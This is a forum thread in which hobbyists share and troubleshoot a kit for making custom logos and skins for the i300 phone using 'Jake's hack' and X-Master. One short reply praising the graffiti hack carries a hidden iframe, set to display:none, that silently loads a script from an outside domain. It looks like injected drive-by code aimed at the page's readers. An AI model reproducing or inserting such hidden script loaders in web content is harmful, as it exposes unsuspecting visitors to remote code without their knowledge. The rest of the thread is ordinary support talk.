I made this zip file to use for all those users out there who seem to have problems finding all the right files and tools to use with Jake's hack. This should make it easier for the novice users out there to get started with.

Everything you need to make your own logos and skins is in this zip file, all you do is put them all in one directory and follow the directions. I hope this makes it easier for everyone to get their own i300 all tricked out in their custom style!

Thanks again to Jake for his incredibly cool hack (it cannot be said enough)!

One more thing... MAKE SURE you have Jake's hack and X-Master

thanks blair.. ill give it a try later...

by the by, love your graffiti hack!! <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

If and win I get it, I'll post it to a secondary site so we dont keep using up his bandwidth allocation

I just added another 5GB to the transfer allocation on Geocities, so it should be fine now!

Sorry about that!

I've posted a mirror of the zip here:

I will admit I have no idea what I'm suppose to do when creating skins. Can anyone help me? i'm still not understanding what i'm suppose to do with my gif images.

Well just use the files there to edit the bmps or save your gifs over them. Just make sure they are in the same file name formats there.

Are you trying to use gifs you've already made? You need to make them into 256 Palm Palette BMPS first. If you're still having trouble, let me know what part of the process you're getting stuck on. Are you using photoshop BTW?

I cannot get this to work so I quit. Thanks for trying to help me Blair.

Balir/others,

I have created a logo and saved it as phonelogo.bmp. I next double clicked the make logo bat which created a prc. I then synced to my phone. Now, how do i change the logo on the phone? I have tried numerous phone settings to no avail.

TIA

Ok you need Jake's hacks first of all

Here's the logo one...

And if you want, here's the graffiti area one:

And you need a program called X-Master that enables the i300 to use them:

If you have all those things, you should have no more worries.
Just click on X-Master on your Palm and select the graphic you want.

Seconds after posting that I saw Jake's Logo hack..DUH!!!!

I feel really dumb becuase I actually sent Jake some money for the skin hack and didn't notice the logo hack too. I sometimes wish there was a recall feature on posts and emails

Hahah! Well you could always edit your post to make it seem as if it were about a totally different subject entirely....

Perhaps, "Hey, I dropped my i300 off a cliff and now I cannot get the skin and logo hacks to work. In fact I cannot get the phone to work at all... In fact I don't even know where it is. Any advice?"

Just an idea!

Thanks for the Logo/Skins for Dummies kit! It is very easy to use. Here are a couple of first attempts

Marc,
Create a folder (name it what you like) and then save them all in the same folder. That should get you going.

thanks for the quicik reply nick!

I made this I300 logo For all the Dallas Stars hockey crazy out there.
